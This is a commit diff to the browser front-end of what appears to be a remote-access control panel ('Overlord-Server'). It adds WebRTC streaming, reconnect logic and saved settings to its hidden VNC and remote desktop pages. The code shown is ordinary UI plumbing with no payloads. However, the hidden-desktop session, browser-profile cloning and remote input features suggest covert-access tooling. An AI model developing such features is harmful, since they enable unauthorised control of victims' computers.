major improvements

Overlord-Server/public/assets/hvnc.js

@@ -1,6 +1,9 @@
 import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
 import { checkFeatureAccess } from "./feature-gate.js";
 import { createKeyboardCapture } from "./keyboard-capture.js";
+import { WhepClient } from "./whep.js";
+import { P2PClient } from "./webrtc-p2p.js";
+import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-settings.js";
 
 (async function () {
   const clientId = new URLSearchParams(location.search).get("clientId");
@@ -65,6 +68,8 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
   const qualityValue = document.getElementById("qualityValue");
   const codecH264 = document.getElementById("codecH264");
   const codecMode = document.getElementById("codecMode");
+  const webrtcMode = document.getElementById("webrtcMode");
+  const webrtcVideo = document.getElementById("webrtcVideo");
   const canvas = document.getElementById("frameCanvas");
   const canvasContainer = document.getElementById("canvasContainer");
   const contextMenu = document.getElementById("hvncContextMenu");
@@ -76,6 +81,13 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
   const dxgiCtrl = document.getElementById("dxgiCtrl");
   const uiaCtrl = document.getElementById("uiaCtrl");
   const hvncResolutionSelect = document.getElementById("hvncResolutionSelect");
+  let whepClient = null;
+  let p2pClient = null;
+  let webrtcActive = false;
+
+  function getWebrtcMode() {
+    return webrtcMode ? String(webrtcMode.value || "off") : "off";
+  }
 
   function syncInputEnableState() {
     if (mouseCtrl) sendCmd("hvnc_enable_mouse", { enabled: mouseCtrl.checked });
@@ -96,7 +108,6 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
   let moveTimer = null;
   let videoDecoder = null;
   let h264TimestampUs = 0;
-  const codecPrefKey = "hvncCodecPreferH264";
   let prefersH264 = typeof VideoDecoder === "function";
   let lastMoveSentAt = 0;
   const mouseMoveIntervalMs = 33;
@@ -108,12 +119,68 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
   let lastClipboardText = "";
   let clipboardSyncActive = false;
 
-  const storedCodecPref = localStorage.getItem(codecPrefKey);
-  if (storedCodecPref === "0") {
-    prefersH264 = false;
-  } else if (storedCodecPref === "1") {
-    prefersH264 = typeof VideoDecoder === "function";
+  let savedDisplay = null;
+
+  function setSelectValue(select, value) {
+    if (!select || value === undefined || value === null) return false;
+    const normalized = String(value);
+    const exists = Array.from(select.options || []).some((opt) => opt.value === normalized);
+    if (!exists) return false;
+    select.value = normalized;
+    return true;
   }
+
+  function applySavedDisplay() {
+    if (savedDisplay === null || savedDisplay === undefined) return;
+    setSelectValue(displaySelect, savedDisplay);
+  }
+
+  function applySharedSettings(settings) {
+    if (!settings || typeof settings !== "object") return;
+    savedDisplay = Number.isFinite(Number(settings.display)) ? Number(settings.display) : savedDisplay;
+    setSelectValue(hvncResolutionSelect, settings.resolution);
+    setSelectValue(webrtcMode, settings.webrtcMode);
+    if (qualitySlider && settings.quality !== undefined) qualitySlider.value = String(settings.quality);
+    if (mouseCtrl && typeof settings.mouse === "boolean") mouseCtrl.checked = settings.mouse;
+    if (kbdCtrl && typeof settings.keyboard === "boolean") kbdCtrl.checked = settings.keyboard;
+    if (clipboardSyncCtrl && typeof settings.clipboardSync === "boolean") clipboardSyncCtrl.checked = settings.clipboardSync;
+    if (dxgiCtrl && typeof settings.dxgi === "boolean") dxgiCtrl.checked = settings.dxgi;
+    if (uiaCtrl && typeof settings.uia === "boolean") uiaCtrl.checked = settings.uia;
+    if (typeof settings.preferH264 === "boolean") {
+      prefersH264 = settings.preferH264 && typeof VideoDecoder === "function";
+    }
+    const cloneToggle = document.getElementById("hvncCloneToggle");
+    const cloneLiteToggle = document.getElementById("hvncCloneLiteToggle");
+    const killIfRunningToggle = document.getElementById("hvncKillIfRunningToggle");
+    if (cloneToggle && typeof settings.cloneProfile === "boolean") cloneToggle.checked = settings.cloneProfile;
+    if (cloneLiteToggle && typeof settings.cloneLite === "boolean") cloneLiteToggle.checked = settings.cloneLite;
+    if (killIfRunningToggle && typeof settings.killIfRunning === "boolean") {
+      killIfRunningToggle.checked = settings.killIfRunning;
+    }
+    applySavedDisplay();
+  }
+
+  function readSharedSettings() {
+    return {
+      display: Number(displaySelect?.value || 0),
+      resolution: hvncResolutionSelect?.value || "1080",
+      quality: Number(qualitySlider?.value || 90),
+      preferH264: !!prefersH264,
+      webrtcMode: getWebrtcMode(),
+      mouse: !!mouseCtrl?.checked,
+      keyboard: !!kbdCtrl?.checked,
+      clipboardSync: !!clipboardSyncCtrl?.checked,
+      dxgi: !!dxgiCtrl?.checked,
+      uia: !!uiaCtrl?.checked,
+      cloneProfile: document.getElementById("hvncCloneToggle")?.checked !== false,
+      cloneLite: document.getElementById("hvncCloneLiteToggle")?.checked === true,
+      killIfRunning: document.getElementById("hvncKillIfRunningToggle")?.checked === true,
+    };
+  }
+
+  applySharedSettings(await loadSharedUiSettings("hvnc"));
+  const sharedSettingsSaver = createSharedUiSettingsSaver("hvnc", readSharedSettings);
+
   if (codecH264) {
     codecH264.checked = prefersH264;
     codecH264.disabled = typeof VideoDecoder !== "function";
@@ -253,7 +320,10 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
   }
 
   if (clipboardSyncCtrl) {
-    clipboardSyncCtrl.addEventListener("change", checkClipboardSync);
+    clipboardSyncCtrl.addEventListener("change", function () {
+      checkClipboardSync();
+      sharedSettingsSaver.scheduleSave();
+    });
   }
 
   function clearOfflineTimer() {
@@ -290,6 +360,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
       clearOfflineTimer();
       if (desiredStreaming) {
         setStreamState("starting", "Reconnecting");
+        const mode = getWebrtcMode();
         if (displaySelect && displaySelect.value !== undefined) {
           sendCmd("hvnc_select_display", {
             display: parseInt(displaySelect.value, 10) || 0,
@@ -297,7 +368,9 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
         }
         sendCmd("hvnc_start", {
           autoStartExplorer: false,
+          webrtc: mode === "relayed",
         });
+        if (mode === "p2p") startP2P();
         syncInputEnableState();
       } else {
         setStreamState("idle", "Stopped");
@@ -672,6 +745,110 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
     ws.send(encodeMsgpack(msg));
   }
 
+  function setWebrtcViewActive(active) {
+    webrtcActive = !!active;
+    if (canvas) canvas.style.display = active ? "none" : "block";
+    if (webrtcVideo) webrtcVideo.style.display = active ? "block" : "none";
+  }
+
+  function onWebrtcState(label, state) {
+    console.debug(`hvnc webrtc[${label}]: state`, state);
+    if (state === "connected") {
+      setStreamState("streaming", `Streaming (${label})`);
+    } else if (state === "failed" || state === "disconnected") {
+      setWebrtcViewActive(false);
+    }
+  }
+
+  let webrtcRvfcHandle = 0;
+  let webrtcFpsCount = 0;
+  let webrtcFpsWindowStart = 0;
+
+  function startWebrtcFrameTicker() {
+    if (!webrtcVideo || typeof webrtcVideo.requestVideoFrameCallback !== "function") return;
+    stopWebrtcFrameTicker();
+    webrtcFpsCount = 0;
+    webrtcFpsWindowStart = performance.now();
+    const tick = (now) => {
+      lastFrameAt = performance.now();
+      clearOfflineTimer();
+      webrtcFpsCount += 1;
+      const elapsed = now - webrtcFpsWindowStart;
+      if (elapsed >= 1000) {
+        const fps = Math.round((webrtcFpsCount * 1000) / elapsed);
+        updateFpsDisplay(fps);
+        webrtcFpsCount = 0;
+        webrtcFpsWindowStart = now;
+      } else {
+        updateFpsDisplay();
+      }
+      webrtcRvfcHandle = webrtcVideo.requestVideoFrameCallback(tick);
+    };
+    webrtcRvfcHandle = webrtcVideo.requestVideoFrameCallback(tick);
+  }
+
+  function stopWebrtcFrameTicker() {
+    if (webrtcRvfcHandle && webrtcVideo && typeof webrtcVideo.cancelVideoFrameCallback === "function") {
+      webrtcVideo.cancelVideoFrameCallback(webrtcRvfcHandle);
+    }
+    webrtcRvfcHandle = 0;
+  }
+
+  async function startWhep(whepPath) {
+    await stopAllWebrtc();
+    if (!webrtcVideo) return;
+    whepClient = new WhepClient({
+      whepPath,
+      videoEl: webrtcVideo,
+      onState: (state) => onWebrtcState("WebRTC Relayed", state),
+    });
+    try {
+      await whepClient.start();
+      setWebrtcViewActive(true);
+      startWebrtcFrameTicker();
+    } catch (err) {
+      console.warn("hvnc webrtc: WHEP start failed, falling back to canvas", err);
+      setWebrtcViewActive(false);
+      whepClient = null;
+    }
+  }
+
+  async function startP2P() {
+    await stopAllWebrtc();
+    if (!webrtcVideo) return;
+    p2pClient = new P2PClient({
+      videoEl: webrtcVideo,
+      send: (msg) => {
+        if (ws && ws.readyState === WebSocket.OPEN) {
+          ws.send(encodeMsgpack(msg));
+        }
+      },
+      onState: (state) => onWebrtcState("WebRTC P2P", state),
+    });
+    try {
+      await p2pClient.start();
+      setWebrtcViewActive(true);
+      startWebrtcFrameTicker();
+    } catch (err) {
+      console.warn("hvnc webrtc: P2P start failed, falling back to canvas", err);
+      setWebrtcViewActive(false);
+      const client = p2pClient;
+      p2pClient = null;
+      if (client) { try { await client.stop(); } catch {} }
+    }
+  }
+
+  async function stopAllWebrtc() {
+    stopWebrtcFrameTicker();
+    setWebrtcViewActive(false);
+    const whep = whepClient;
+    whepClient = null;
+    if (whep) { try { await whep.stop(); } catch {} }
+    const p2p = p2pClient;
+    p2pClient = null;
+    if (p2p) { try { await p2p.stop(); } catch {} }
+  }
+
   let monitors = 1;
 
   function populateDisplays(count) {
@@ -687,6 +864,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
     if (displaySelect.options.length) {
       displaySelect.value = displaySelect.options[0].value;
     }
+    applySavedDisplay();
   }
 
   async function fetchClientInfo() {
@@ -699,6 +877,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
       }
       if (client && client.monitors) {
         populateDisplays(client.monitors);
+        applySavedDisplay();
       }
     } catch (e) {
       console.warn("failed to fetch client info", e);
@@ -721,16 +900,28 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
     sendCmd("hvnc_set_quality", { quality: q, codec });
   }
 
+  function pushTransportQuality(mode) {
+    if (mode === "relayed" || mode === "p2p") {
+      const q = Number(qualitySlider?.value) || 90;
+      setCodecModeLabel("h264", "webrtc");
+      sendCmd("hvnc_set_quality", { quality: q, codec: "h264", source: "webrtc" });
+      return;
+    }
+    if (qualitySlider) {
+      pushQuality(qualitySlider.value);
+    }
+  }
+
   if (codecH264) {
     codecH264.addEventListener("change", function () {
       prefersH264 = !!codecH264.checked && typeof VideoDecoder === "function";
-      localStorage.setItem(codecPrefKey, prefersH264 ? "1" : "0");
       if (!prefersH264) {
         destroyVideoDecoder();
       }
       if (qualitySlider) {
         pushQuality(qualitySlider.value);
       }
+      sharedSettingsSaver.scheduleSave();
     });
   }
 
@@ -769,7 +960,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
         }
       }, 5000);
     } else if (h264ErrorCount > 3) {
-      localStorage.setItem(codecPrefKey, "0");
+      sharedSettingsSaver.scheduleSave();
     }
   }
 
@@ -834,29 +1025,39 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
     sendCmd("hvnc_select_display", {
       display: parseInt(displaySelect.value, 10),
     });
+    sharedSettingsSaver.scheduleSave();
   });
 
+  if (webrtcMode) {
+    webrtcMode.addEventListener("change", function () {
+      updateControls();
+      sharedSettingsSaver.scheduleSave();
+    });
+  }
+
   startBtn.addEventListener("click", function () {
+    const mode = getWebrtcMode();
     if (displaySelect && displaySelect.value !== undefined) {
       sendCmd("hvnc_select_display", {
         display: parseInt(displaySelect.value, 10) || 0,
       });
     }
-    if (qualitySlider) {
-      pushQuality(qualitySlider.value);
-    }
+    pushTransportQuality(mode);
     desiredStreaming = true;
     lastFrameAt = 0;
     setStreamState("starting", "Starting stream");
     sendCmd("hvnc_start", {
       autoStartExplorer: false,
+      webrtc: mode === "relayed",
     });
+    if (mode === "p2p") startP2P();
     syncInputEnableState();
   });
   stopBtn.addEventListener("click", function () {
     desiredStreaming = false;
     setStreamState("stopping", "Stopping stream");
     sendCmd("hvnc_stop", {});
+    stopAllWebrtc();
   });
   if (killAllBtn) {
     killAllBtn.addEventListener("click", function () {
@@ -874,18 +1075,22 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
   });
   mouseCtrl.addEventListener("change", function () {
     sendCmd("hvnc_enable_mouse", { enabled: mouseCtrl.checked });
+    sharedSettingsSaver.scheduleSave();
   });
   kbdCtrl.addEventListener("change", function () {
     sendCmd("hvnc_enable_keyboard", { enabled: kbdCtrl.checked });
+    sharedSettingsSaver.scheduleSave();
   });
   if (dxgiCtrl) {
     dxgiCtrl.addEventListener("change", function () {
       sendCmd("hvnc_enable_dxgi", { enabled: dxgiCtrl.checked });
+      sharedSettingsSaver.scheduleSave();
     });
   }
   if (uiaCtrl) {
     uiaCtrl.addEventListener("change", function () {
       sendCmd("hvnc_enable_uia", { enabled: uiaCtrl.checked });
+      sharedSettingsSaver.scheduleSave();
     });
   }
 
@@ -898,6 +1103,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
   if (hvncResolutionSelect) {
     hvncResolutionSelect.addEventListener("change", function () {
       pushHvncResolution();
+      sharedSettingsSaver.scheduleSave();
     });
   }
 
@@ -906,6 +1112,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
     qualitySlider.addEventListener("input", function () {
       updateQualityLabel(qualitySlider.value);
       pushQuality(qualitySlider.value);
+      sharedSettingsSaver.scheduleSave();
     });
   }
 
@@ -1036,6 +1243,18 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
         handleStatus(msg);
         return;
       }
+      if (msg && msg.type === "webrtc_ready" && typeof msg.whepPath === "string") {
+        startWhep(msg.whepPath);
+        return;
+      }
+      if (msg && msg.type === "webrtc_p2p_answer" && typeof msg.sdp === "string") {
+        if (p2pClient) p2pClient.onAnswer(msg.sdp);
+        return;
+      }
+      if (msg && msg.type === "webrtc_p2p_ice") {
+        if (p2pClient) p2pClient.onRemoteCandidate(msg);
+        return;
+      }
       if (msg && msg.type === "hvnc_clone_progress") {
         handleCloneProgress(msg);
         return;
@@ -1083,6 +1302,18 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
       handleStatus(msg);
       return;
     }
+    if (msg && msg.type === "webrtc_ready" && typeof msg.whepPath === "string") {
+      startWhep(msg.whepPath);
+      return;
+    }
+    if (msg && msg.type === "webrtc_p2p_answer" && typeof msg.sdp === "string") {
+      if (p2pClient) p2pClient.onAnswer(msg.sdp);
+      return;
+    }
+    if (msg && msg.type === "webrtc_p2p_ice") {
+      if (p2pClient) p2pClient.onRemoteCandidate(msg);
+      return;
+    }
     if (msg && msg.type === "hvnc_clone_progress") {
       handleCloneProgress(msg);
       return;
@@ -1122,16 +1353,16 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
 
   function onWsOpen() {
     reconnectDelay = 1000;
-    if (qualitySlider) {
-      pushQuality(qualitySlider.value);
-    }
+    pushTransportQuality(desiredStreaming ? getWebrtcMode() : "off");
     clearOfflineTimer();
     if (desiredStreaming) {
       setStreamState("starting", "Resuming stream");
+      const mode = getWebrtcMode();
       if (displaySelect && displaySelect.value !== undefined) {
         sendCmd("hvnc_select_display", { display: parseInt(displaySelect.value, 10) || 0 });
       }
-      sendCmd("hvnc_start", { autoStartExplorer: false });
+      sendCmd("hvnc_start", { autoStartExplorer: false, webrtc: mode === "relayed" });
+      if (mode === "p2p") startP2P();
       syncInputEnableState();
     } else {
       setStreamState("idle", "Stopped");
@@ -1149,6 +1380,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
 
   function onWsClose() {
     destroyVideoDecoder();
+    stopAllWebrtc();
     if (desiredStreaming) {
       setStreamState("connecting", "Reconnecting");
       scheduleReconnect();
@@ -1159,6 +1391,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
 
   function onWsError() {
     destroyVideoDecoder();
+    stopAllWebrtc();
     setStreamState("error", "WebSocket error");
   }
 
@@ -1270,6 +1503,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
       if (kbdCtrl.checked) kbdCapture.enable();
       else kbdCapture.disable();
     });
+    if (kbdCtrl.checked) kbdCapture.enable();
   }
   document.addEventListener("fullscreenchange", function () {
     if (document.fullscreenElement === canvasContainer && kbdCtrl && !kbdCtrl.checked) {
@@ -1279,11 +1513,13 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
   });
 
   function stopOnExit() {
+    sharedSettingsSaver.saveNow();
     if (ws && ws.readyState === WebSocket.OPEN && desiredStreaming) {
       desiredStreaming = false;
       sendCmd("hvnc_stop", {});
     }
     destroyVideoDecoder();
+    stopAllWebrtc();
   }
 
   window.addEventListener("beforeunload", stopOnExit);
@@ -1320,6 +1556,15 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
     });
   }
 
+  ["hvncCloneToggle", "hvncCloneLiteToggle", "hvncKillIfRunningToggle"].forEach((id) => {
+    const el = document.getElementById(id);
+    if (el) {
+      el.addEventListener("change", function () {
+        sharedSettingsSaver.scheduleSave();
+      });
+    }
+  });
+
   if (contextMenu) {
     contextMenu.querySelectorAll("[data-action]").forEach((item) => {
       item.addEventListener("click", (e) => {

Overlord-Server/public/assets/remotedesktop.js

@@ -3,6 +3,7 @@ import { checkFeatureAccess } from "./feature-gate.js";
 import { WhepClient } from "./whep.js";
 import { P2PClient } from "./webrtc-p2p.js";
 import { createKeyboardCapture } from "./keyboard-capture.js";
+import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-settings.js";
 
 (async function () {
   const clientId = new URLSearchParams(location.search).get("clientId");
@@ -17,13 +18,38 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
   const clientLabel = document.getElementById("clientLabel");
   clientLabel.textContent = clientId;
 
-  const ws = new WebSocket(
-    (location.protocol === "https:" ? "wss://" : "ws://") +
+  let ws = null;
+  let reconnectTimer = null;
+  let reconnectDelay = 1000;
+  const maxReconnectDelay = 15000;
+
+  function buildWsUrl() {
+    return (location.protocol === "https:" ? "wss://" : "ws://") +
       location.host +
       "/api/clients/" +
       clientId +
-      "/rd/ws",
-  );
+      "/rd/ws";
+  }
+
+  function connectWs() {
+    if (reconnectTimer) { clearTimeout(reconnectTimer); reconnectTimer = null; }
+    ws = new WebSocket(buildWsUrl());
+    ws.binaryType = "arraybuffer";
+    ws.addEventListener("open", onWsOpen);
+    ws.addEventListener("message", onWsMessage);
+    ws.addEventListener("close", onWsClose);
+    ws.addEventListener("error", onWsError);
+  }
+
+  function scheduleReconnect() {
+    if (reconnectTimer) return;
+    reconnectTimer = setTimeout(() => {
+      reconnectTimer = null;
+      setStreamState("connecting", "Reconnecting");
+      connectWs();
+      reconnectDelay = Math.min(reconnectDelay * 1.5, maxReconnectDelay);
+    }, reconnectDelay);
+  }
   const displaySelect = document.getElementById("displaySelect");
   const refreshBtn = document.getElementById("refreshDisplays");
   const startBtn = document.getElementById("startBtn");
@@ -62,8 +88,6 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
   function getWebrtcMode() {
     return webrtcMode ? String(webrtcMode.value || "off") : "off";
   }
-  ws.binaryType = "arraybuffer";
-
   let activeClientId = clientId;
   let serverRecording = null;
   let recordingTimer = null;
@@ -86,7 +110,6 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
   let pendingFrame = null;
   let videoDecoder = null;
   let h264TimestampUs = 0;
-  const codecPrefKey = "rdCodecPreferH264";
   let prefersH264 = typeof VideoDecoder === "function";
   let h264LowFpsStreak = 0;
   let h264FirstFrameAt = 0;
@@ -346,12 +369,72 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
     h264LastDecodeWarnAt = 0;
   }
 
-  const storedCodecPref = localStorage.getItem(codecPrefKey);
-  if (storedCodecPref === "0") {
-    prefersH264 = false;
-  } else if (storedCodecPref === "1") {
-    prefersH264 = typeof VideoDecoder === "function";
+  let savedDisplay = null;
+
+  function setSelectValue(select, value) {
+    if (!select || value === undefined || value === null) return false;
+    const normalized = String(value);
+    const exists = Array.from(select.options || []).some((opt) => opt.value === normalized);
+    if (!exists) return false;
+    select.value = normalized;
+    return true;
   }
+
+  function applySavedDisplay() {
+    if (savedDisplay === null || savedDisplay === undefined) return;
+    setSelectValue(displaySelect, savedDisplay);
+  }
+
+  function applySharedSettings(settings) {
+    if (!settings || typeof settings !== "object") return;
+    savedDisplay = Number.isFinite(Number(settings.display)) ? Number(settings.display) : savedDisplay;
+    setSelectValue(resolutionSelect, settings.resolution);
+    setSelectValue(targetFpsSelect, settings.targetFps);
+    setSelectValue(webrtcMode, settings.webrtcMode);
+    setSelectValue(audioTransport, settings.audioTransport);
+    setSelectValue(recordMode, settings.recordMode);
+    setSelectValue(recordFps, settings.recordFps);
+    if (qualitySlider && settings.quality !== undefined) qualitySlider.value = String(settings.quality);
+    if (smoothingSlider && settings.smoothing !== undefined) {
+      smoothingSlider.value = String(settings.smoothing);
+      smoothingPct = Number(smoothingSlider.value) || 0;
+    }
+    if (mouseCtrl && typeof settings.mouse === "boolean") mouseCtrl.checked = settings.mouse;
+    if (kbdCtrl && typeof settings.keyboard === "boolean") kbdCtrl.checked = settings.keyboard;
+    if (cursorCtrl && typeof settings.cursor === "boolean") cursorCtrl.checked = settings.cursor;
+    if (duplicationCtrl && typeof settings.duplication === "boolean") duplicationCtrl.checked = settings.duplication;
+    if (clipboardSyncCtrl && typeof settings.clipboardSync === "boolean") clipboardSyncCtrl.checked = settings.clipboardSync;
+    if (audioCtrl && typeof settings.audio === "boolean") audioCtrl.checked = settings.audio;
+    if (typeof settings.preferH264 === "boolean") {
+      prefersH264 = settings.preferH264 && typeof VideoDecoder === "function";
+    }
+    applySavedDisplay();
+  }
+
+  function readSharedSettings() {
+    return {
+      display: Number(displaySelect?.value || 0),
+      resolution: resolutionSelect?.value || "1080",
+      targetFps: targetFpsSelect?.value || "120",
+      quality: Number(qualitySlider?.value || 90),
+      preferH264: !!prefersH264,
+      webrtcMode: getWebrtcMode(),
+      mouse: !!mouseCtrl?.checked,
+      keyboard: !!kbdCtrl?.checked,
+      cursor: !!cursorCtrl?.checked,
+      duplication: !!duplicationCtrl?.checked,
+      clipboardSync: !!clipboardSyncCtrl?.checked,
+      audio: !!audioCtrl?.checked,
+      audioTransport: getAudioTransport(),
+      smoothing: Number(smoothingSlider?.value || 20),
+      recordMode: recordMode?.value || "normal",
+      recordFps: recordFps?.value || "",
+    };
+  }
+
+  applySharedSettings(await loadSharedUiSettings("remote_desktop"));
+  const sharedSettingsSaver = createSharedUiSettingsSaver("remote_desktop", readSharedSettings);
+
   if (codecH264) {
     codecH264.checked = prefersH264;
     codecH264.disabled = typeof VideoDecoder !== "function";
@@ -438,7 +521,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
   }
 
   function updateControls() {
-    const wsOpen = ws.readyState === WebSocket.OPEN;
+    const wsOpen = ws && ws.readyState === WebSocket.OPEN;
     const isStarting = streamState === "starting";
     const isStreaming = streamState === "streaming";
     const isStopping = streamState === "stopping";
@@ -707,7 +790,10 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
   }
 
   if (clipboardSyncCtrl) {
-    clipboardSyncCtrl.addEventListener("change", checkClipboardSync);
+    clipboardSyncCtrl.addEventListener("change", function () {
+      checkClipboardSync();
+      sharedSettingsSaver.scheduleSave();
+    });
   }
 
   function updateLatency(ms) {
@@ -778,18 +864,31 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
         desiredStreaming = true;
       }
       if (desiredStreaming) {
-        setStreamState("starting", "Reconnecting");
+        const shouldRequestStart = !["starting", "streaming", "stalled"].includes(streamState);
+        const mode = getWebrtcMode();
+        if (shouldRequestStart) {
+          setStreamState("starting", "Reconnecting");
+        }
         if (displaySelect && displaySelect.value !== undefined) {
           sendCmd("desktop_select_display", {
             display: parseInt(displaySelect.value, 10) || 0,
           });
         }
-        sendCmd("desktop_start", {});
         pushInputToggles();
         pushCaptureToggles();
         if (qualitySlider) pushQuality(qualitySlider.value);
         pushTargetFps();
         pushResolution();
+        if (shouldRequestStart) {
+          if (mode === "relayed") {
+            sendCmd("desktop_start", { webrtc: true });
+          } else if (mode === "p2p") {
+            sendCmd("desktop_start", {});
+            startP2P();
+          } else {
+            sendCmd("desktop_start", {});
+          }
+        }
       } else {
         setStreamState("idle", "Stopped");
       }
@@ -898,10 +997,10 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
       console.warn("No active client selected");
       return;
     }
-    if (ws.readyState !== WebSocket.OPEN) {
+    if (!ws || ws.readyState !== WebSocket.OPEN) {
       rdDebug("send skipped websocket not open", {
         type,
-        readyState: ws.readyState,
+        readyState: ws ? ws.readyState : -1,
         streamState,
         desiredStreaming,
       });
@@ -1049,6 +1148,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
     if (displaySelect.options.length) {
       displaySelect.value = displaySelect.options[0].value;
     }
+    applySavedDisplay();
   }
 
   async function fetchClientInfo() {
@@ -1070,6 +1170,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
       }
       if (client) {
         populateDisplays(client.monitors, client.monitorInfo);
+        applySavedDisplay();
       }
       if (duplicationCtrl) {
         const os = (client?.os || "").toLowerCase();
@@ -1121,7 +1222,6 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
     codecH264.addEventListener("change", function () {
       resetH264SessionState();
       prefersH264 = !!codecH264.checked && typeof VideoDecoder === "function";
-      localStorage.setItem(codecPrefKey, prefersH264 ? "1" : "0");
       if (prefersH264) {
         ensureDuplicationForH264();
       }
@@ -1132,6 +1232,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
       if (qualitySlider) {
         pushQuality(qualitySlider.value);
       }
+      sharedSettingsSaver.scheduleSave();
     });
   }
 
@@ -1157,12 +1258,14 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
   if (resolutionSelect) {
     resolutionSelect.addEventListener("change", function () {
       pushResolution();
+      sharedSettingsSaver.scheduleSave();
     });
   }
 
   if (targetFpsSelect) {
     targetFpsSelect.addEventListener("change", function () {
       pushTargetFps();
+      sharedSettingsSaver.scheduleSave();
     });
   }
 
@@ -1171,11 +1274,13 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
     sendCmd("desktop_select_display", {
       display: parseInt(displaySelect.value, 10),
     });
+    sharedSettingsSaver.scheduleSave();
   });
 
   if (webrtcMode) {
     webrtcMode.addEventListener("change", function () {
       updateControls();
+      sharedSettingsSaver.scheduleSave();
     });
   }
 
@@ -1236,6 +1341,9 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
     } else {
       sendCmd("desktop_start", {});
     }
+    if (audioCtrl && audioCtrl.checked) {
+      connectAudio();
+    }
   });
   stopBtn.addEventListener("click", function () {
     if (isRecording()) stopRecording();
@@ -1251,6 +1359,16 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
       else startRecording();
     });
   }
+  if (recordMode) {
+    recordMode.addEventListener("change", function () {
+      sharedSettingsSaver.scheduleSave();
+    });
+  }
+  if (recordFps) {
+    recordFps.addEventListener("change", function () {
+      sharedSettingsSaver.scheduleSave();
+    });
+  }
   fullscreenBtn.addEventListener("click", function () {
     if (canvasContainer.requestFullscreen) {
       canvasContainer.requestFullscreen();
@@ -1260,16 +1378,6 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
       canvasContainer.mozRequestFullScreen();
     }
   });
-  if (mouseCtrl) {
-    mouseCtrl.checked = false;
-  }
-  if (kbdCtrl) {
-    kbdCtrl.checked = false;
-  }
-  if (duplicationCtrl) {
-    duplicationCtrl.checked = false;
-  }
-
   function pushInputToggles() {
     if (mouseCtrl) {
       sendCmd("desktop_enable_mouse", { enabled: !!mouseCtrl.checked });
@@ -1290,6 +1398,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
 
   mouseCtrl.addEventListener("change", function () {
     pushInputToggles();
+    sharedSettingsSaver.scheduleSave();
   });
   const kbdCapture = createKeyboardCapture({
     container: canvas,
@@ -1301,7 +1410,9 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
     if (kbdCtrl.checked) kbdCapture.enable();
     else kbdCapture.disable();
     pushInputToggles();
+    sharedSettingsSaver.scheduleSave();
   });
+  if (kbdCtrl.checked) kbdCapture.enable();
   document.addEventListener("fullscreenchange", function () {
     if (document.fullscreenElement === canvasContainer && kbdCtrl && !kbdCtrl.checked) {
       kbdCtrl.checked = true;
@@ -1310,10 +1421,12 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
   });
   cursorCtrl.addEventListener("change", function () {
     pushCaptureToggles();
+    sharedSettingsSaver.scheduleSave();
   });
   if (duplicationCtrl) {
     duplicationCtrl.addEventListener("change", function () {
       pushCaptureToggles();
+      sharedSettingsSaver.scheduleSave();
     });
   }
   if (audioCtrl) {
@@ -1323,6 +1436,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
       } else {
         disconnectAudio();
       }
+      sharedSettingsSaver.scheduleSave();
     });
   }
   if (audioTransport) {
@@ -1333,6 +1447,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
         disconnectAudio(false);
         connectAudio();
       }
+      sharedSettingsSaver.scheduleSave();
     });
   }
 
@@ -1341,6 +1456,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
     qualitySlider.addEventListener("input", function () {
       updateQualityLabel(qualitySlider.value);
       pushQuality(qualitySlider.value);
+      sharedSettingsSaver.scheduleSave();
     });
   }
 
@@ -1349,6 +1465,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
     smoothingSlider.addEventListener("input", function () {
       smoothingPct = Number(smoothingSlider.value) || 0;
       updateSmoothingLabel(smoothingSlider.value);
+      sharedSettingsSaver.scheduleSave();
     });
   }
 
@@ -1455,7 +1572,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
     prefersH264 = false;
     destroyVideoDecoder();
     if (codecH264) codecH264.checked = false;
-    localStorage.setItem(codecPrefKey, "0");
+    sharedSettingsSaver.scheduleSave();
